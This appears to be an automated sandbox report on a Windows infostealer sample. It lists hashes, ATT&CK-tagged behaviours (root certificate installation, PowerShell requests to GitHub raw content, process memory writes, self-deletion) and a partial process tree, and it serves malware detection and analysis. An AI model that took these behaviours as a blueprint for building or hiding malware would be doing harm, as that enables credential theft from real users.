c34a0a31ca38bdc293c2df85fd0217c43709ca111bf5c285fece4c33c04f6c6b

Analysis

max time kernel
148s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 02:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
Size 7.1MB
Sample260809-daagtsyfka
SHA256 c34a0a31ca38bdc293c2df85fd0217c43709ca111bf5c285fece4c33c04f6c6b
MD5 618b516c9445482ca08759e2a6fc7218
SHA1 d43bde015d7c23d3640cabc2124582a7e624d656
SHA512 e8406faf091392641bf8edc0f2bb99e2c663ca886bbcab0c9f0c77b81f2262570f3a103e8777e609ce6ddfffe2b856bf8eb7c11658cb554b47c07c1e42a20030
SSDEEP 98304:tj1pzlDHIuPdxDXo6/+HYREVeG5hVDn+uTxV:V2UxDXo0HJG5njh
TLSH
T15F764A037E8A98A9C899C870C34BCBA30F1138EB1936B5AF05D565152F7EBB55F2D318
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution spyware trojan

Malware Config

Signatures

Detects executables containing URLs to raw contents of a Github gist 2 IoCs

resource	yara_rule
behavioral2/files/0x000c00000001c5cf-263.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral2/files/0x000c00000001c5ce-281.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

Badlisted process makes network request 20 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
45	3176	powershell.exe
46	4976	powershell.exe
47	1172	powershell.exe
48	1136	powershell.exe
49	3560	powershell.exe
50	4028	powershell.exe
51	3348	powershell.exe
52	2620	powershell.exe
53	3732	powershell.exe
54	3140	powershell.exe
55	1956	powershell.exe
56	2300	powershell.exe
71	6296	powershell.exe
72	6304	powershell.exe
73	6288	powershell.exe
74	6312	powershell.exe
76	1956	powershell.exe
77	1956	powershell.exe
78	1956	powershell.exe
81	6312	powershell.exe

Deletes itself 1 IoCs

pid	Process
5748	updater_tmp.exe

Executes dropped EXE 2 IoCs

pid	Process
5748	updater_tmp.exe
4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe

Contacts third-party web service commonly abused for C2 1 TTPs 7 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
31	raw.githubusercontent.com
49	raw.githubusercontent.com
51	raw.githubusercontent.com
68	raw.githubusercontent.com
72	raw.githubusercontent.com
1	raw.githubusercontent.com
17	raw.githubusercontent.com

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops file in Windows directory 20 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_1680851495\male_names.txt	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_1680851495\model.markov	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_1680851495\passwords.txt	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_846441333\_metadata\verified_contents.json	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_655811969\metadata.pb	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_655811969\manifest.fingerprint	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_1680851495\female_names.txt	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_1680851495\test.txt	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_655811969\manifest.json	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_1680851495\ranked_dicts	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_1680851495\surnames.txt	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_846441333\keys.json	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_846441333\manifest.json	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_1680851495\english_wikipedia.txt	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_1680851495\manifest.json	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_1680851495\us_tv_and_film.txt	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_1680851495\manifest.fingerprint	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_846441333\LICENSE	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_846441333\manifest.fingerprint	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5396_655811969\_metadata\verified_contents.json	msedgewebview2.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 16 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
1172	powershell.exe
1136	powershell.exe
2620	powershell.exe
1956	powershell.exe
6296	powershell.exe
3560	powershell.exe
3732	powershell.exe
4976	powershell.exe
6288	powershell.exe
6304	powershell.exe
3176	powershell.exe
4028	powershell.exe
3140	powershell.exe
2300	powershell.exe
3348	powershell.exe
6312	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5088	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c614000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5088	cmd.exe
3360	PING.EXE

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3360	PING.EXE

Suspicious behavior: EnumeratesProcesses 51 IoCs

pid	Process
3176	powershell.exe
3176	powershell.exe
3176	powershell.exe
1136	powershell.exe
1136	powershell.exe
1172	powershell.exe
1172	powershell.exe
3560	powershell.exe
3560	powershell.exe
2300	powershell.exe
2300	powershell.exe
4976	powershell.exe
4976	powershell.exe
4028	powershell.exe
4028	powershell.exe
3140	powershell.exe
3140	powershell.exe
3732	powershell.exe
3732	powershell.exe
3348	powershell.exe
3348	powershell.exe
2620	powershell.exe
2620	powershell.exe
1956	powershell.exe
1956	powershell.exe
4976	powershell.exe
1136	powershell.exe
1136	powershell.exe
1172	powershell.exe
3560	powershell.exe
3348	powershell.exe
2300	powershell.exe
2620	powershell.exe
4028	powershell.exe
3140	powershell.exe
3732	powershell.exe
1956	powershell.exe
6312	powershell.exe
6312	powershell.exe
6296	powershell.exe
6296	powershell.exe
6304	powershell.exe
6304	powershell.exe
6288	powershell.exe
6288	powershell.exe
6296	powershell.exe
6288	powershell.exe
6304	powershell.exe
6312	powershell.exe
5396	msedgewebview2.exe
5396	msedgewebview2.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
3200	msedgewebview2.exe
3200	msedgewebview2.exe
5396	msedgewebview2.exe
5396	msedgewebview2.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
5748	updater_tmp.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeIncBasePriorityPrivilege	3372	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
Token: SeIncBasePriorityPrivilege	5748	updater_tmp.exe
Token: SeDebugPrivilege	3176	powershell.exe
Token: SeDebugPrivilege	1136	powershell.exe
Token: SeDebugPrivilege	1172	powershell.exe
Token: SeDebugPrivilege	3560	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeDebugPrivilege	2300	powershell.exe
Token: SeDebugPrivilege	4028	powershell.exe
Token: SeDebugPrivilege	3140	powershell.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeDebugPrivilege	3348	powershell.exe
Token: SeDebugPrivilege	1956	powershell.exe
Token: SeDebugPrivilege	6312	powershell.exe
Token: SeDebugPrivilege	6296	powershell.exe
Token: SeDebugPrivilege	6304	powershell.exe
Token: SeDebugPrivilege	6288	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3372	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
3372	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3372	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
3372	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3372 wrote to memory of 3200	3372	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	89
PID 3200 wrote to memory of 3048	3200	msedgewebview2.exe	90
PID 3200 wrote to memory of 4216	3200	msedgewebview2.exe	91
PID 3200 wrote to memory of 4216	3200	msedgewebview2.exe	91
PID 3200 wrote to memory of 4216	3200	msedgewebview2.exe	91
PID 3200 wrote to memory of 4216	3200	msedgewebview2.exe	91
PID 3200 wrote to memory of 5432	3200	msedgewebview2.exe	92
PID 3200 wrote to memory of 4580	3200	msedgewebview2.exe	93
PID 3200 wrote to memory of 4580	3200	msedgewebview2.exe	93
PID 3200 wrote to memory of 4580	3200	msedgewebview2.exe	93
PID 3200 wrote to memory of 3164	3200	msedgewebview2.exe	94
PID 3200 wrote to memory of 3164	3200	msedgewebview2.exe	94
PID 3200 wrote to memory of 3164	3200	msedgewebview2.exe	94
PID 3200 wrote to memory of 3164	3200	msedgewebview2.exe	94
PID 3200 wrote to memory of 3164	3200	msedgewebview2.exe	94
PID 3200 wrote to memory of 792	3200	msedgewebview2.exe	95
PID 3200 wrote to memory of 792	3200	msedgewebview2.exe	95
PID 3200 wrote to memory of 792	3200	msedgewebview2.exe	95
PID 3200 wrote to memory of 792	3200	msedgewebview2.exe	95
PID 3200 wrote to memory of 792	3200	msedgewebview2.exe	95
PID 3372 wrote to memory of 5748	3372	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	96
PID 5748 wrote to memory of 4796	5748	updater_tmp.exe	97
PID 5748 wrote to memory of 5088	5748	updater_tmp.exe	98
PID 4796 wrote to memory of 5396	4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	100
PID 5396 wrote to memory of 5128	5396	msedgewebview2.exe	101
PID 5088 wrote to memory of 3360	5088	cmd.exe	102
PID 5396 wrote to memory of 5480	5396	msedgewebview2.exe	103
PID 5396 wrote to memory of 5480	5396	msedgewebview2.exe	103
PID 5396 wrote to memory of 5480	5396	msedgewebview2.exe	103
PID 5396 wrote to memory of 5480	5396	msedgewebview2.exe	103
PID 5396 wrote to memory of 5440	5396	msedgewebview2.exe	104
PID 5396 wrote to memory of 4776	5396	msedgewebview2.exe	105
PID 5396 wrote to memory of 4776	5396	msedgewebview2.exe	105
PID 5396 wrote to memory of 4776	5396	msedgewebview2.exe	105
PID 5396 wrote to memory of 3564	5396	msedgewebview2.exe	106
PID 5396 wrote to memory of 3564	5396	msedgewebview2.exe	106
PID 5396 wrote to memory of 3564	5396	msedgewebview2.exe	106
PID 5396 wrote to memory of 3564	5396	msedgewebview2.exe	106
PID 5396 wrote to memory of 3564	5396	msedgewebview2.exe	106
PID 5396 wrote to memory of 788	5396	msedgewebview2.exe	107
PID 5396 wrote to memory of 788	5396	msedgewebview2.exe	107
PID 5396 wrote to memory of 788	5396	msedgewebview2.exe	107
PID 5396 wrote to memory of 788	5396	msedgewebview2.exe	107
PID 5396 wrote to memory of 788	5396	msedgewebview2.exe	107
PID 4796 wrote to memory of 3560	4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	108
PID 4796 wrote to memory of 1172	4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	109
PID 4796 wrote to memory of 1136	4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	110
PID 4796 wrote to memory of 3176	4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	111
PID 4796 wrote to memory of 3348	4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	116
PID 4796 wrote to memory of 2300	4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	117
PID 4796 wrote to memory of 3140	4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	118
PID 4796 wrote to memory of 4976	4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	119
PID 4796 wrote to memory of 1956	4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	120
PID 4796 wrote to memory of 4028	4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	121
PID 4796 wrote to memory of 3732	4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	122
PID 4796 wrote to memory of 2620	4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	123
PID 4796 wrote to memory of 6288	4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	132
PID 4796 wrote to memory of 6296	4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	133
PID 4796 wrote to memory of 6304	4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	134
PID 4796 wrote to memory of 6312	4796	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	135
PID 5396 wrote to memory of 6472	5396	msedgewebview2.exe	143
PID 5396 wrote to memory of 6472	5396	msedgewebview2.exe	143
PID 5396 wrote to memory of 6472	5396	msedgewebview2.exe	143
PID 5396 wrote to memory of 2816	5396	msedgewebview2.exe	144

C:\Users\Admin\AppData\Local\Temp\2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe"
1⤵
- Checks whether UAC is enabled
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3372
- C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
  "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.3.3 --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --disable-features=msWebOOUI,msPdfOOUI,msSmartScreenProtection --disable-gpu --enable-features=MojoIpcz --lang=en-US --accept-lang=en-US --mojo-named-platform-channel-pipe=3372.4808.7516613060913823808 /pfhostedapp:bcaf9f343662ba22f278516ef2a23eeaaec99bce
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of WriteProcessMemory
  PID:3200
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView /prefetch:4 /pfhostedapp:bcaf9f343662ba22f278516ef2a23eeaaec99bce --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.139 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=122.0.2365.106 --initial-client-data=0x184,0x188,0x18c,0x160,0x194,0x7ff8495a5fd8,0x7ff8495a5fe4,0x7ff8495a5ff0
    3⤵
    PID:3048
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.3.3 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1716 --field-trial-handle=1760,i,7879860557719589339,1875573294244688662,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:2 /pfhostedapp:bcaf9f343662ba22f278516ef2a23eeaaec99bce
    3⤵
    PID:4216
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.3.3 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=2084 --field-trial-handle=1760,i,7879860557719589339,1875573294244688662,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:3 /pfhostedapp:bcaf9f343662ba22f278516ef2a23eeaaec99bce
    3⤵
    PID:5432
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
